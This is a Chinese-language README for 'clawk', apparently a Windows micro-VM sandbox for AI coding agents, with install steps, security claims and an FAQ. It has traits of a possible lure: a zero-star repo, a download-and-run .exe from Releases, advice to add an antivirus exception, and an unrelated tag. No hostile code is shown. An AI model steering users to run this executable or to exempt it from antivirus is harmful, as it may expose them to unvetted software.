U90364321/clawk

GitHub: U90364321/clawk

clawk 为 AI 编码代理提供基于硬件级虚拟化的一次性 Linux 沙盒环境,让 agent 在隔离的 micro-VM 中安全运行代码,避免宿主系统受到损害。

Stars: 0 | Forks: 0

# 🛡️ clawk - 用于 AI 编码的安全隔离环境 [![下载 clawk](https://img.shields.io/badge/Download_clawk-blue.svg)](https://github.com/U90364321/clawk) ## 🎯 本工具的用途 现代的 AI agent 可以帮助编写和运行代码。这些 agent 通常需要访问您的文件或互联网才能完成任务。这带来了风险。如果 agent 运行了恶意代码,可能会损坏您的计算机或窃取您的数据。 Clawk 为这些 agent 提供了一个安全的空间。它会创建一个被称为 micro-VM 的微型、临时的 Linux 环境。Agent 在这个沙盒中运行其任务。由于该沙盒无法访问您的主计算机或您的私人文件,您的系统可以保持安全。任务完成后,沙盒会关闭并自行清理。 ## ⚙️ 系统要求 您的计算机必须满足这些基本标准才能有效运行 clawk: * 操作系统:Windows 10 或 Windows 11。 * 处理器:支持硬件虚拟化的 64 位 CPU。 * 内存:至少 8 GB 的 RAM。 * 存储:至少 2 GB 的可用磁盘空间。 * Windows 功能:必须在您的 Windows 设置中启用“虚拟机平台”和“适用于 Linux 的 Windows 子系统”。 ## 📥 安装说明 按照以下步骤在您的 Windows 机器上设置 clawk。 1. 访问主页下载最新版本的应用程序:https://github.com/U90364321/clawk 2. 在页面右侧找到“Releases”部分。 3. 点击最新的发布链接。 4. 下载与您的 Windows 架构相匹配的 `.exe` 结尾的文件。 5. 下载完成后,双击该文件以启动安装程序。 6. 按照屏幕上的说明进行操作,将 clawk 图标放置在您的桌面上。 ## 🚀 入门指南 安装软件后,您就可以开始将其与您的 AI agent 结合使用了。 1. 从您的桌面快捷方式打开 clawk 应用程序。 2. 软件将对您的系统进行快速检查,以确保虚拟化已激活。 3. 如果这是您第一次使用,程序将下载必要的 Linux 镜像。根据您的网络连接情况,此过程可能需要几分钟。 4. 指示灯变为绿色后,环境即可使用。 5. 将您的 AI 编码 agent 指向 clawk socket。应用程序会在窗口底部显示此连接字符串。您可以复制此字符串,并将其粘贴到 Claude Code 或其他 AI agent 等工具的配置设置中。 ## 🔒 安全特性 Clawk 通过三层主要的隔离来保护您的机器。 首先,它使用硬件级虚拟化。Micro-VM 在处理器的独立分区上运行。即使 AI agent 试图逃逸,也无法突破这层硬件壁垒。 其次,网络受到限制。默认情况下,该环境无法与您的本地网络或家庭路由器通信。它仅允许包安装所需的有限连接。如果您需要执行特定的基于 Web 的任务,可以在设置菜单中切换此限制。 第三,系统是用完即弃的。会话之间的数据不会持久化。如果 AI agent 创建了文件,当您关闭连接或关闭环境时,该文件就会消失。您可以避免积累陈旧或具有潜在危险的后台进程。 ## 🛠️ 配置 您可以通过设置面板更改沙盒的行为。 * **内存限制:** 您可以增加或减少分配给沙盒的 RAM 数量。如果 agent 尝试编译大型代码库,请增加此限制以防止崩溃。 * **网络模式:** 在“仅离线”和“公共访问”模式之间切换。对于高安全性任务,请使用离线模式。 * **持久化存储:** 如果您需要在会话结束后保留您的工作,请启用“映射”功能。这允许您将计算机上的特定安全文件夹挂载到沙盒。请谨慎使用此功能。 ## ❓ 常见问题解答 **clawk 会减慢我的计算机速度吗?** Clawk 在不使用时保持休眠状态。运行时,它使用最少的 CPU 资源。您应该不会注意到系统性能有明显下降。 **我可以同时运行多个沙盒吗?** 可以。您可以在 RAM 允许的范围内启动任意数量的实例。每个实例都保持相互独立。 **如果突然断电会怎样?** 由于沙盒创建的是环境的临时副本,突然断电不会损害您的主计算机。沙盒只会在您下次登录时重置。 **此工具是否兼容所有 AI agent?** 该工具提供了大多数 AI agent 都能识别的标准接口。如果您的 agent 使用标准命令行界面或基于 socket 的连接,它应该可以与 clawk 配合使用。 ## 🤝 故障排除 如果软件无法启动: 1. 重新启动计算机。这通常会清除被锁定的虚拟化资源。 2. 确保您的处理器安装了最新的驱动程序。 3. 检查您的防病毒软件是否阻止了虚拟网络适配器的创建。您可能需要为 clawk 可执行文件添加一个例外。 4. 确认在您的 BIOS 中已启用虚拟化。在计算机启动时按 F2 或 Delete 键即可访问这些设置。 关键词:agent-sandbox, ai-agent-sandbox, ai-agents, claude, claude-code, codex, microvm, sandbox, virtualization, vm
标签:AI编程助手, EVTX分析, 微型虚拟机, 沙箱环境, 环境安全, 系统隔离